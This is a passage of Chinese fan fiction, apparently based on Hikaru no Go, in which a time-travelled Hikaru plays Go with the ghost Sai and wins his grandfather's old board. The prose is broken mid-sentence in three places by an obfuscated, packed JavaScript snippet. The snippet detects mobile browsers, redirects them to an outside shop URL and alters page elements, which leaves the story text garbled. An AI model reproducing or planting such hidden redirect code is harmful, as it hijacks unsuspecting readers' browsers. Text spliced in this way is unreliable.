但光没有选择延续这个习惯,而是直接进入了角落争夺战。他的第一步,就落在佐为的斜上方。 “嗯?” 佐为陷入了沉思。一般人会先占据四角后再开始布局,为什么他拒绝这样做?但是看他拿棋子的姿势,应该也不是纯粹的新手才对…… 对手只是个12岁的孩子,不一定熟悉围棋的常规套路,还是先引导他慢慢布局吧。 然而,佐为的策略未能起效。 光的行棋格外急切,似乎想立刻与佐为近距离交手,但下了几步佐为便能感觉到,这孩子并非是在胡乱落子,就算攻击急躁了些,防守却不曾落下半分。 精准的局势估算力。只消一眼,光就能看出关键手的所在。 这不是一朝一夕的抱佛脚能达到的棋感。 是他小瞧了这个一百四十年后的孩子。右上角的实地争夺如火如荼,最终双方都各自实现了目的,以黑子暂时占角、白子赢得外势告终。围棋的初学者往往执着于角,毕竟金角银边,像光这样大胆从开局就考虑中腹的策略,必须对自己的算力有绝对的自信才行。 方才的那一步,打破了佐为的试探。若是佐为再这样等待下去,只怕最后会输得很惨。 “很不错的眼神,小光。”佐为将折扇抵在唇前,若有所思地眯起双眼,“……既然如此,我也要认真了。” 从这一步起,佐为从引导后辈的温柔状态,瞬间切换为严阵以待的专注状态。 新的一手毫不犹豫地下在了足以扭转乾坤的关键点位。 光抬头看了佐为一眼。 双方的神情都变了,他注意得到,战火即将从这个点位燃烧全场。直到刚才为止佐为都把他当成普通的小孩,但现在,一切都将天翻地覆。 真正的对决这才拉开序幕! “果然是这里吗……得拦住他……” 光的注意力已经全部投入在棋盘中,连窗外的暴雨也无法分散分毫。在略显昏暗的阁楼里,小小的身影稳坐在棋盘前,棋子与手掌相比都显得有点巨大,很难想象这是一个12岁少年能有的集中力。 更令人惊叹的是他的棋力。 起初听他说棋都是从秀策的棋谱里学的,佐为还有些不信。但面前的每一步,每一步,都确实流淌着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211735|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秀策的棋风独有的美学。 简直就像是……在和另一个自己对局一样。 不,不止是这样。 是超越了自己的“另一个自己”。 在秀策的时代,几乎没有人会下出的那些“愚手”,佐为也以为这是颇有些鲁莽的尝试,但那些尝试,在光毫无停滞的数次扭转后,就神不知鬼不觉地变成了妙手。远远地守在数十步之后,等待佐为的呼应将全盘彻底连接起来。 而且从他思考的时长之短来看,光明显不是第一次这样下棋。 是经过了无数实战得出稳固结论后,才会如此选择。 无数次实战?佐为不禁为自己冒出的念头感到吃惊,这样一个其貌不扬的孩子,怎会流露出与成熟棋士相似的气质? 不是佐为自夸,不论在他附身秀策的年代,或是他还担任天皇围棋教师的年代,他执黑都毫无败绩。没有任何人能在棋盘上打败他的黑棋。论棋力,他有理由相信自己是离神之一手最近的人。 可为什么,在这个孩子身上,他看到了超越“神之一手”的可能性? 佐为细长的眼角愈加谨慎。 从光的脸上,他读不出丝毫遇到强敌应有的恐慌——明明许多同龄的孩子与佐为下棋时,都会因为这巨大的棋力差距而难以动弹,稍有不慎就会被佐为的一举妙招逼得走投无路。这是佐为借用虎次郎的身躯下棋时得出的确实的结论。 但光不同。光或许确实心怀恐惧,却从不慌乱,仿佛早就对这次交手做足了功课。 就算一时落入下风,也立刻寻找其他地方的反击机会。 果然……不是普通的孩子吗…… “啊。” 佐为凝重的神色忽然中断了。 因为光下在了一个十足冒险的位置。若是冒险成功,就能一步到位赢下整个盘面,但若被对方找到破解之法,就会断送此前辛苦争来的微弱优势。 这份甘于深入敌腹的勇气……就由他给予最强的回应吧! “十二之十七,靠。” “——不好!” 光眨眼间也意识到了形势不对。刚才那一步是他有意为之,这招请君入瓮经常在实战中帮他尝到甜头,连那些高段棋手也很难破解,但唯独佐为能不假思索地找到打破这陷阱的最佳位置,就在……这么短促的瞬间之内?! 突然,光好像明白了自己欠缺的东西是什么。 十年来,他执着于还原秀策的棋风,就比如大名鼎鼎的秀策尖,但秀策时代的古老定式很容易被认定为过时,后人们也研究出了不少对抗旧定式的套路,在此前提下,他还想赢就必须不断冒险,赌对方是否会跟随自己的脚步,一旦赌输就只能满盘皆输。 但,过时的可能并不是秀策的定式。 定式是否真正有效,取决于使用它的人如何将它与精准的洞察力连接起来。 就像这盘棋,佐为同样使用了秀策尖,最后却战胜了光认为的能压制秀策尖的现代定式,占据了足够的优势,甚至一转抢占了先手。 这是他从未想过的路数! 不,现在不是震惊的时候。他……还能跟上吗? 棋盘的任意角落,还存在反败为胜的可能吗? 左侧,不妙……右侧,太晚了……下侧,不行……早知道刚才就应该…… 光的眼珠飞速转动,汗珠从太阳穴缓缓落下,却无法汇聚为一个确定的答案。 心脏跳动得极快,呼吸愈加急促,脑内运算着未来30手的棋路,哪怕是冬季,他的后背也早已汗湿。 不行了。手中的棋子握住的力度自然松弛,光慢慢垂下头去。他不得不承认,即便没有学会现代定式,佐为在围棋上仍旧拥有着令人发指的可怕造诣。难怪自己一直无法在国际大赛上崭露头角……面对对现代定式一无所知的佐为,都战得如此狼狈啊…… “这样下去我应该能赢七目左右……哼哼,小光的陷阱对我可是毫无作用呢!”佐为正在思考后续的盘面,却忽然被面前孩童的表情吓了一跳,慌忙安慰道,“小光?你怎么哭了?对不起对不起!是不是我下得太凶了?” “……咦?” 光一摸自己的脸颊,还真是布满了泪水。奇怪,他是什么时候开始流泪的? 从佐为下出上一手棋的时候吗,还是更早? 是他发现佐为的棋和自己的棋并肩摆放,却还是略胜一筹的时候?还是他察觉到现代定式明明一直在稳固自己的优势,却还是一次次被佐为消解的时候?还是从一开始,他看到那步小目的时候? ●○●○ 5. Chapter 4. 神之一手的约定 泪水根本停不下来,光苦笑着捂住自己的右眼。 果然……佐为根本就不应该消失啊! 佐为就应该留下来、陪他下出真正的神之一手! 然后作为围棋之神教导更多的对手下出更好的棋才对! 佐为的围棋才能,是天底下最珍贵的宝物。说是历经千年漂泊,可佐为真正下棋的时间又有多久?平安时代二十年,附身在虎次郎身上二十年,总共也不过四十年,连许多在世的棋手都比他下得更久。区区四十年的磨炼,就能让他在应对现代定式时,依然以惊人的直觉找到最好的一手。 这样的人,拥有如此出色的天赋和无人能比的热爱的人,凭什么要因为进藤光的任性,就从世界上消失? “是我输了。”光用袖子草草擦去脸上乱七八糟的泪水,嘴角却笑得各位真诚,边笑边哭,连他自己都不明白为什么会这样五味杂陈,“谢谢你,佐为……” “小光!别哭别哭,啊,你为什么又笑了?”佐为凑到他身边来,想用自己的手替他止住眼泪,可惜幽灵是碰不到真人的,他只能一个劲地白费力,“哎呀,我这双手真是……我没有做什么值得你道谢的事,你能给我重新下棋的机会,应该是我向你道谢才对!” 看到佐为傻乎乎还在替他着想的样子,光笑得更厉害了,眼泪却也哗啦啦地彻底止不住了。 “谢谢你,让我输给你。” “但是,这可是输棋哦,你不难过吗?” “难过啊,可我也很高兴,你能赢我,就说明我要学的东西还很多很多,多到没有你教我就不行的地步。”光吸了吸鼻涕,不想害佐为担心,尽管他脑子一热说出的这些话就像是在告白,“佐为,以后你可就是我的老师了!你要让我看到更多比今天更精彩的棋局才行!不过,我也不会一直干看着,我会追上去的,总有一天,我要成为佐为的对手!” 说到最后,光又变回了最初那个纯粹地笑着的少年。 不是对别人,而是对自己的灵魂发誓。和佐为一起追求神之一手的道路,将会成为他毕生的目标。就算那条路再漫长,就算彼岸再遥不可及,就算最后可能粉身碎骨,他也一定要和佐为一起将其实现。 终于不哭啦。对他的想法一无所知的佐为松了口气,语气诚恳又温柔: “小光,你很厉害喔。能和我下到这地步,可不是谁都能做到的。这不是恭维,你拥有超乎寻常的潜力,你比秀策的许多对手都更难应付,逼得我不得不全力将你击溃,若是稍有不慎,方才输的就会是我了。我有一种预感,再过不久……你就会下出我们都难以想象的好棋。” 没料到他的口吻越是温馨,光就越紧张。 “别,那也是和佐为你一起下,才能下出来。”光连忙补充道,“佐为,神之一手是没有尽头的!在实现你的目标之前,你绝对不能消失!” 佐为不懂光语气里的深意,只是淡淡挥了挥袖子,有些哀怨地飘了过去。 “真是的,我才刚刚回到现世诶,小光就说什么消失,多不吉利啊。” “我可是认真的!!”光反驳得超级大声,“你要是敢消失,我会立刻哭给你看!然后永永远远都不原谅你!!绝对不原谅你!!” “呜哇——” 佐为吓得后仰好几米。 而这声音穿透力实在过强,以至于直接抵达了另一栋楼的起居室,很快就从楼下却传来了爷爷进藤平八的叫声。 “阿光啊,你一个人在鬼喊鬼叫些什么?下来吃点水果吧。” “糟了……”光一把捂住嘴,与佐为的对话是不能说出口的,因为太久没有跟佐为相处,他连这个基本原则都忘了。都怪佐为!刚刚下了那么好的棋,害他兴奋过头了。 扭头一看,身后的佐为还是满脸笑呵呵的神情,光无奈地摇了摇头。 算了,看样子他一时半会应该也消失不了,至少现在应该还不需要担心两年半以后的问题,且先让他好好享受一下自由下棋的快乐吧。能够再度相遇已是大幸,光未曾有过苛责的心理,只希望这幸福延续得更久一点,至于这虎次郎的遗物…… “佐为,你跟我过来一趟。”光的眼珠转了转,突然灵光一闪。 “我们去哪?” 佐为自是好奇地同光一道飘下阁楼,两人在渐弱的雨声中穿过庭院的走廊,光领头走在前面,时不时就回头确认一眼佐为是不是还在。他总是习惯性地担心佐为会突然消失不见。 楼下,进藤平八正在捣鼓他的果盘,见到光从阁楼溜出来,也高高兴兴地打招呼道:“你总算肯下来了,那破阁楼有什么好玩的,还是陪你爷爷唠两句吧。” “爷爷,我想跟您商量一件事。”光配合地接过平八手中的碗,说。 “你这小子又被扣零花钱啦?不行不行,我可不能纵容你……要零花钱,还是好好考试去找你妈妈讨吧!”平八最了解他的孙子,自是把头摇得像拨浪鼓一样不肯同意。 可惜,他了解的那个孙子并不是现在的这个进藤光。 “我才不是那种人呢!我只是想拜托爷爷把楼上那个浮木盘送给我而已。”光笑嘻嘻地凑近平八,讨好道。 平八听见这话,自是十分不解:“那个棋盘?为什么你突然找我要那个?它很贵的喔,我不会随随便便给你拿玩的!” “诶……小气……”光吵着吵着还真入戏了,“不就是个棋盘嘛,我保证以后买个更好的给您还不成吗?” 平八思索片刻,光还以为他打算提条件了,没想到平八一脸正经地逼问他:“阿光啊,你老实交代,要那个棋盘去做什么?如果真的缺钱的话,我们好好谈谈倒也不是不可能。平心而论,爷爷我一向对你还不算差吧?” 很明显,平八已经认定光不会拿那棋盘去做好事了。 “不是啦,爷爷,我要用它练棋。”光哭笑不得地看着对方。 空气一瞬间安静下来。平八有些怀疑,不,岂止是有些怀疑,他根本就是完全不信,因而过了半晌,方才迟缓地问:“……啊?” 光发誓似的伸出手做出夹棋子的动作:“我以后要做职业棋士!” “谁?” “我。” “做什么?” “职业棋士。” “什么棋士?” “围棋的棋士。” “你?职业棋士?还是围棋的职业棋士?不是,你什么时候开始摸棋子的?知不知道五子棋和围棋的差别啊?” 这一连串奇怪的问答让光终于消磨完了耐心,他一把打开旁边的柜门,搬出里的折叠棋盘,“哎呀别问了,爷爷,我俩直接下一盘吧,我让你四子,要是我赢了你就把那个棋盘送我当奖品,行不行?” “职业(pro)……是什么?”旁边的佐为插嘴道。 “以下棋为生的人。” “哦……以下棋为生的人啊,是围棋老师么?” “不太一样啦……就是靠下棋能有对局费,所以可以全身心投入到围棋研究上的人?即使是在喜欢围棋喜欢得要命的人里,也只有极少数幸运的家伙,能像这样满脑子只想着下棋的事,那就是职业棋士。” 光还是第一次思考职业棋士的含义。 “只是对局就能赚钱吗,真是很便利的职业呢。”闻言,佐为用食指关节托住下巴,若有所思。 光的眼神微微黯淡了下去:“但是,也有人因为喜欢才觉得痛苦喔。职业的棋手除了下棋,已经不懂得其他任何维生手段了,他们如果一直只能下出平庸的棋,就相当于被判了死刑。站在那个世界的人,必须要超乎寻常的优秀才行。” “小光……” 佐为对这个刚认识没多久的少年看似奇怪的发言并未觉得意外。或许,从少年看向棋盘的眼神之中,他已解读出了几分无人能及的热忱,以及那藏在热忱背后的、浓郁的消沉。 光口中的“平庸”是在指谁?12岁的孩子,为何会思考这般沉重的问题? 佐为本想问些什么,最后却还是眨了眨眼。 是直觉?抑或单纯的理性判 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211736|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断?佐为不知,为何这个少年的出现,会令他感到热血沸腾。那渴望执子的信念,再一次从眼底燃烧起来,如燎原之火,无法熄灭。 这边,爷爷听了光的话,觉得十分好笑。 “哈哈哈哈!你就别胡闹了,当爷爷我拿的那么多奖杯都是摆设吗?你啊从小就坐不下来,还下棋?还让我四子?爷爷我让你四子,你能赢都是异想天开!你该不会是看了什么奇怪的漫画吧?” 光打断他:“知道知道,爷爷很厉害的嘛,不过我也不弱啊!不亲自下下看又怎么知道谁更厉害?” 佐为顿时来了兴趣,凑近来问:“小光,你爷爷也很擅长围棋吗?” “这个嘛……呃……只能说你看了就知道了……” 也就是光让他九子、他都会被血虐的程度吧。光没好意思说出后面这半句话。这情形,和当初塔矢亮问尹老师进藤光下得怎么样时的尴尬简直如出一辙。 平八心中还觉着他是在自吹自擂,哈哈笑了几声,从旁边的柜子里搬来个普通的棋盘,放在地上:“少说大话,只要你能在我让你四子的情况下赢我,这棋盘就归你啦。” “诶——” 光不太情愿地挪步至棋盘前,他有些遗憾,但也不忍心拂了爷爷的面子,“好吧,那就爷爷让我四子,要是我赢了,您可千万别耍赖!” “放心吧,想赢我可没那么容易!”平八信心满满地坐下,打开棋罐,“之前从来没听说过你对围棋感兴趣,学棋还没几天吧?我今天就陪你好好下盘指导棋,看好了,什么叫做真正的围~棋~高~手~” 光乐得肚子都痛了,偏生他还不得不装出一副心驰神往的表情,真是折磨人。 “是,是,那我们开始吧,围棋高手大人。” 没想到,自己从职业七段回到12岁之后的竟要陪业余段位的爷爷下“指导棋”。光兴致勃勃地拿起黑棋,抚摸着粗糙的木质棋罐,这棋子只有业余棋手才会用,不是很高级的材质,但却很令人安心,某种怀念的感情一股脑地涌上心头。 佐为按捺不住再次见到对局的激动心情,认认真真地端坐在两人中间,准备观战。 “抱歉啦,佐为,我知道你也很想下,不过这一局我必须自己来才行。”光愧疚地望向聚精会神的佐为。 他不会剥夺佐为下棋的权利,只是,把浮木盘赢回去的这一局,应该由进藤光来下。这是一场为了守护尊严的战斗,也是为了守护信仰的战斗——最重要的是,和爷爷下棋,根本用不着佐为这尊大佛出山啊。 “小光总是在道歉呢,你真是个怪人。” 佐为依然是天然呆的样子,让光突然想起了他与佐为诀别的那天。 突然之间一言不发地离去,佐为,为何你没有给我留下一句话呢?哪怕是责备的话也好,为什么要消失得那么干干净净? “佐为,看好了哦,我的棋里有你教给我的东西。但我也学习了很多……想教给你的东西。” 光留下这句令人匪夷所思的叮嘱,便不等佐为有追问的机会,开始了让子的摆放。 规规矩矩地摆满四个星位,光再一次无比清楚地了解到他已重返过去这一事实——自从他升上二段之后,便几乎再也没有与任何人下过被让四子的让子棋。哪怕是与塔矢行洋等级的前辈切磋,也不过礼貌性地让被让先罢了。 不过,既然爷爷开心,就耐心陪他下一局吧,这才是最好的尽孝。 光对自己暗暗点头,抬眼去看平八的动作。 平八一脸轻松地走了第一步,再普通不过的挂角。想必这一局也不会出现太过有悖常理的棋路,光安下心来,小心翼翼的对付着面前的对手。 佐为则一直安静地揣摩着二人的对局。他看得出来,这个其貌不扬的孩子有着非常坚实的棋力,刚才能与自己战到绝境并非意外,棋风步步稳扎稳打,擅长在不知不觉中无形取得优势,只到中盘便可胜负分明。 但是,正如光所言,他似乎在刻意向佐为展示些什么。 ●○●○ 6. Chapter 5. 进藤光vs进藤平八 “啊。”佐为忽然意识到了问题所在。 没有错,这些棋路,同自己的”秀策”式棋风异常相似,但又有所不同。 相比之下,光的棋看似更加来势汹汹,却格外沉着,似乎在有意将差距保持在一定范围内。 佐为的认知再准确不过,一来现代围棋多出的贴目让黑棋无法延续保守战法,二来进藤光受塔矢亮的影响多出几分塔矢行洋式棋风的味道,比之秀策流确实不太一样。 正因为进藤平八是位实力很普通的业余棋士,才能配合光下出这些现代最常见的定式。 而这些现代最常见的定式,在秀策的时代,都尚未诞生。 “……你是在告诉我这些吗,小光?” 佐为看得津津有味。以他的实力,完全看得出来光这样下棋的目的。 这是在反过来教给佐为这个时代的人们最熟悉的路数呢。 虽然在绝对棋力上,进藤光还略逊于藤原佐为,但要论对现代围棋的熟悉程度,那绝对是职业七段的光更烂熟于心。这局棋就像一面镜子,有条不紊地展示着各种老练成熟的现代定式,可以在不影响光的领先的前提下,慢条斯理地将这些定式介绍给来自平安时代的佐为。 这份心情,为对方考虑的心情,已经传达过来了哦。 佐为看着棋盘上的构型,频频点头。 现在,光已取得了绝对的胜势,而平八丝毫没有注意到,还以为自己尚有周旋的余地。一直到光按计划摆完所有的定式,进藤平八才猛然发现,自己怎么一直被孙子那根胡萝卜吊着跑了这么久? “一,二,三……哎呀,您就输了一目呢,真可惜呀,爷爷。”棋至终盘,光笑嘻嘻地清点完了目数,还很入戏地夸奖着平八的实力,“不愧是爷爷!中间好几次我都以为自己要输了!要不是您故意让我,我肯定就中盘认输了,姜还是老的辣!” 佐为一眼就看穿了光的小把戏。 一目之差?根本不是那回事,这是精心计算、故意为之的一目,因为和爷爷的约定是光要胜出才能拿下棋盘,于是他才赢了一目,若是光愿意,完全可以让结局差距确定在任何数目,包括和棋。 “真是的……明明到一半还是我领先的啊,你这小子,能下到最后还真是运气不错。”平八在一番纠结后终于松开了紧缩的眉头,“看来你也是真下过功夫啊。值得表扬,嗯,值得表扬。” 噗。 佐为捂嘴一笑。竟在不为人知的情况下把反过来的指导棋下到如此自由的地步,还叫对手根本反应不过来,这确实不是普通棋手能做到的。 “承让啦,爷爷。”光在鞠过一个一板一眼的躬之后,恢复了灿烂的笑容,他很高兴能够久违地和爷爷交手,“怎么样,那个棋盘我就拿走了!” “等等……”平八还不肯把视线从棋盘上挪开,他看太久,看的光都以为自己要露馅了,直到最后他冒出一个发自肺腑的疑问,“你小子……学棋多久了?” 就料到会被问这种问题,光在内心深处叹了口气。 正确答案是十二年,遇见佐为后的两年,再加上失去佐为后的十年——光本想如实回答,却只能选择撒谎:“也就闲着随便练了练,想给爷爷一个惊喜,看来是成功过头了,哈哈!” 即便如此,平八仍然不敢相信自己就这样简单地输给了从没在人前碰过棋子的孙子。 “你在哪学的棋?你的老师是谁?”平八毫不迟疑地追问。 “老师?呃,算是有,不过……其实也就是看着秀策的棋谱自己摸出来的啦。” 光昧着良心没把佐为的事说出来,说出来也没有人会信,更何况这一生佐为还没真正意义上教过他围棋。 “无师自通?!” 这回平八真是瞠目结舌。他自诩围棋方面摸到了一点门路,却也是在老师的帮助下用了好多年的时间才达到今天的棋力,而这家伙居然声称在没有老师的情况下轻松取胜? “咳咳,所以说,那个棋盘……”光赶忙转移话题。 “棋盘咋都行,爱拿去就拿去吧!不过小光你这样的天赋,怎么之前我半点也没察觉到?!真是太可惜了,早几年送你去学围棋,搞不准还真的能考上职业啊……”平八感慨万千。 这么快就变成爱拿去就拿去的东西了,这价钱未免贬值太快了吧。 “没关系,反正明年我一定会通过职业棋士考试的。你孙子继承了爷爷优秀的基因,怎么也算是个围棋天才啦!”光喜滋滋地站起身,说着玩笑话,快步冲向阁楼,“那我就去搬棋盘咯,谢谢爷爷!” “这么急干嘛啊,喂阿光……” 平八没来得及拦住光,只得无奈地搓搓手,这小子,活泼好动的性子倒是没变嘛。 “小光,你很在意这个棋盘吗?”在光奔向阁楼的过程中,佐为飘在他身后,好奇地问。 “你想啊,你是住在这个棋盘里的嘛,我觉得要是把它带走你也会安心一点。”光随口解释了一句,“幽灵什么的我是没见过啦,但是,关于鬼神的东西,小心些总不是坏事。” “嗯……也是……” 佐为同光一起上了阁楼,看他如同呵护一件至宝一般把棋盘仔仔细细地擦拭了一遍,又找来一个箱子准备把它拖回家。 “那,佐为可以许愿了。”光一边往纸箱里塞填充物,确保棋盘不会受损,一边问身后的幽灵,“我和你的对局是你赢了,我说过,可以满足你一个愿望的。” “愿望吗……”本以为他会提出些更困难的愿望,佐为却并未畅想未来,给出的答案也十分朴素,“我想到了!小光,你和爷爷那一局下得很有意思,待会能不能再跟我对弈一次?我想试试刚刚你下的那些定式!” “这么简单?就没有别的愿望了吗?” “就算你这么说……现在我最想做的事,就是下棋啊。” 也是,他怎么可能提得出其他愿望嘛,这个彻头彻尾的笨蛋棋痴,除了下棋,心里根本容不下别的。光在心中这样埋怨着,却也明白他最喜欢佐为的,正是这股纯粹的热爱。 “行,回家之后我们好好下一盘!”光小小的个头抱着沉甸甸的棋盘有点摇晃,“不过,在下棋之前,我……还有好多话想跟你说。能陪陪我吗?” 想说的话,真的太多了。 从佐为离开这个世界之后,到他灰心丧气想重新来过的瞬间,他积攒了无数的话语想对佐为倾诉。失去他的悲伤,一个人守在棋盘前的痛苦,无法精进棋艺时的折磨,社会上的烦心事……一天一夜也说不完。 如果现在无法把未来的事告诉他,那么起码,他要好好和佐为做个朋友。 光从未觉得从爷爷家回自己家的路如此新鲜。心中的急速跳动让人焦躁,可与故人重逢的心情又充满喜悦,渐渐地,他有种发烧了一样的眩晕感。好在身边紧跟着一个左顾右盼的幽灵,不停地找他问这问那,让世界也变得丰富多彩起来。 “诶……小光,那是什么?会动的怪物!”佐为大吃一惊地指着一辆丰田车。 不像当初不耐烦地敷衍了事,这次,光报以耐心的微笑,解释道:“那个叫汽车,跟马车是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211737|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样的交通工具,不过是用汽油带动的。” “汽油又是什么?” “汽油……就是跟灯油一样烧起来会产生热量的燃料。”光摸摸后脑勺,以他那可怜的化学知识也只能回答到这份上了。 还好佐为没有继续追问,只是若有所思地点点头:“百年后的科技真是厉害啊!” “因为工业革命一直在继续嘛。哦,不对,应该叫技术革命。嗯,第三次技术革命。” 光抬起头看着佐为的脸,现在他的个子还太矮,有些不习惯。 “工业……革命?”佐为的词典里没有任何与此相关的材料。 “虎次郎那个时候就已经开始了的,大发明时代。你和他下出十九连胜御城棋的时候,英国就已经有汽车了哦,可以很方便地去任何地方找人对局。” 佐为更加惊奇:“啊,小光你连御城棋都知道!” 一种毫无缘由的自豪感和温暖感充满了光的内心,他放缓脚步,遥望着雨后初晴澄碧如洗的蓝天:“秀策的名声在现在可是非常响亮的。他被我们奉为棋圣,是围棋界举足轻重的大人物,学围棋的人都听过他的故事。” 佐为释然地微笑着,他十分想念与虎次郎并肩作战的日子。那是他的骄傲。 不过,现在他的骄傲又多了一份:那就是面前的小光。 继承了秀策意志的孩子,年仅十二岁就能将围棋下到那般地步的孩子,他是独一无二的。 想到这,佐为感慨道:“小光真的什么都知道……你还没解释过,为什么你的棋下得这么好?从你的棋里,我总觉得有种神奇的熟悉感,就像看到了未来的自己,明明你才十二岁。难道我……以前真的见过你?” 佐为难得地没有卖萌,而是一本正经地发问,想必也很在意这个问题的解答吧。 与佐为探究的目光交错而过,光避开了他的质疑,他暂时还不想告诉佐为实情,那样只会让佐为也背负上太过沉重的东西。他早就想过了,要把这一切靠自己的力量背负起来。 “啊……” 佐为突然恍然大悟地抬起头。 “什么?”光被吓了一跳。 “难道小光你……也是个幽灵?其实你已经下了一千年的棋了?” 佐为的脑洞真是大得无边无际了。 “怎么可能啊!我刚刚还搬了这个棋盘耶!幽灵有手吗?!”光原本还以为他猜到了什么,刚才心跳都停了一拍,结果佐为居然说出了这种话,他真是白担心了。 “也是……”佐为开始纳闷起来。 “如果你真的很好奇这个秘密,我也不是不能告诉你,不过,要等到你领悟神之一手以后喔。” 光故意给佐为加强这个目标的概念,幽灵要留在现世需要足够的执念,只要他灌输的执念够强,佐为应该就不会愿意早早从世界上消失了吧。 佐为大失所望地举手抗议,“小光居然吊人胃口——” 光看着佐为略带不满地撒娇,眼眶突然就不知怎的湿润起来,“我以前可是被某人吊胃口吊了整整十年呢。” “谁啊,这么欺负我们小光?我替你诅咒他!” ——始作俑者就是你本人啊。 光无奈地笑了笑。一心护短时的佐为还是很可爱的,搞得光都没办法发脾气了。 他们是最亲密的朋友,也是最要好的师徒。不管是过去、现在、还是未来,这一点都不会改变。已经产生的羁绊,纵使被人遗忘,也依旧存在着,静静地躺在某个不为人知的角落里,生根发芽。 ●○●○ 7. Chapter 6. 再会,劲敌塔矢亮 两人一路谈天说地,来到进藤宅时已是日落时分,冬天夜晚来得早,待到美津子打开家门时,天色已是漆黑一片了。 “怎么了,今天回来得这么晚?这箱子里是什么东西?” 美津子隔着这么大个纸箱,都快看不见自家儿子的脸了。 光努力从纸箱后面探出头来:“抱歉,今天去爷爷家陪他下了盘棋,才耗到现在。这是爷爷送我的棋盘。” “小光你?陪爷爷下棋?” “是啊。明天我要去围棋会所找朋友玩,能给我500日元零花钱吗?” “可以是可以……真难得,从没见你下过棋啊。”美津子迷惑不解,“小光是那么安静的孩子吗?” “晚饭我就在房间里吃啦,不要来打扰我,我要认真学习。” 光迫不及待地端起盘子冲向自己的房间,留下一知半解的美津子愣愣地注视着他离开的方向。她捂着自己的脸颊,有些摸不着头脑。 与此同时,光和佐为已经来到了二楼,在地板上端端正正地坐好,开始了对局。 “耶!对局!对局!” “佐为,你就那么开心吗。”光也笑了起来。 “你在说什么呢,当然了啊!下棋怎么会腻呢!” 佐为说完,低头看着那只棋盘,一瞬连气息都发生了变化。 小光很擅长为他考虑,不论是他想下棋的心情,还是思念虎次郎的心情,都考虑得滴水不漏。从前佐为扮演的都是虎次郎的长辈角色,到了这个孩子面前,竟然有种轮到自己被照顾的感觉,真是奇妙。 “这个棋盘,你以前一定很钟爱吧,佐为。” 光也低头凝视着陈旧的浮木盘,言语间掩饰不住对虎次郎的羡慕。 佐为自是无法看懂这份羡慕,只当光是在询问自己,于是开心地说:“是啊,虎次郎的大半辈子都在用它下棋呢……就连生命的最后一刻也……” 说到此处,佐为的眼神有些黯淡下来。 “那么,佐为你可要好好下喔。”光试图打破尴尬的气氛,抓起一把黑子,“要猜子吗?还是想继续执黑?” “好!只要能下棋,我都行!” 佐为半点反对意见都没有,孩子般单纯的欢喜让光觉得无比珍贵。 光连忙招手让他冷静下来:“不过,现代的规则是执黑贴目五目半,最后计算的时候佐为你要让给我五目半才行。刚才在爷爷家太着急了,我没来得及解释。” 虽然2002年棋院就宣布所有正式比赛的贴目都改成了六目半,但现在,还是按暂行的规则告诉他吧。 “明白了。” 佐为也天资聪颖,自然知道他必须改变战术。有贴目与无贴目的棋,根本不能用同样的标准来衡量。这么说来,刚才他赢小光的不是七目,而是一目半……差距也没有想象中那么大。这孩子,或许真有机会成为自己的竞争对手呢。 “好,那就第二次请多指教吧。”光认真地弯下腰,对佐为他可不敢怠慢半分。 佐为也对他弯下腰:“请多指教。” 明明才下过一局,两人却还是不知疲惫得像刚醒一样。 一边是憋了一百多年、恨不得连下三百局的幽灵佐为,一边是久别重逢、倍感兴奋的进藤光,这俩围棋活宝在棋盘两端相对席地而坐,那就不可能再起得来身。 最初,光还怀着战栗的心情小心翼翼拿起棋盒里的棋子,圆润冰凉,借机稍稍平静了一下火热的心,才抬头等待着佐为下出第一步;后面两人下完一局又是一局,围在棋盘面前对弈、讨论、复盘,不知不觉竟如此度过了一整夜;最终,光还是没能抗住□□的极限,趴在棋盘表面睡着了。 “……小光?小光?” 佐为呼唤了两声,随后决定不再打扰他。 “谢谢你让我下了心满意足的这几局棋,小光。”佐为笑眯眯地对睡梦中的光致谢,“明天再继续吧。” 面前这孩子的棋艺,比想象中还要精湛。那出神入化的第一局并非偶然,在之后的这么多次对弈里,佐为依然能感受到他随时举到眉心的剑刃——这股锋利的棋风,令记忆里曾经叱咤风云的御城棋传说,再次浮现于心。他有些渴望在如今的年代里再度体会那样的感受。 能够遇见会下棋而且喜欢下棋的小光,他觉得自己非常幸运。 光又何尝不是。 进藤光毕生最幸运的两件事,一是有塔矢亮这个命中注定的对手,更重要的是,曾经在最好的年华与藤原佐为相遇。 当美津子次日早晨步入光的房间时,看到的是光趴在棋盘上熟睡的景象。 这小子还说什么“不要来打扰我,我要认真学习”?居然学会骗人了! “小光!妈妈过来了,快醒醒!”佐为连忙拽光的衣角,无奈他没有实体,怎么拉也拉不醒正在与周公幽会的光。 “小光!” 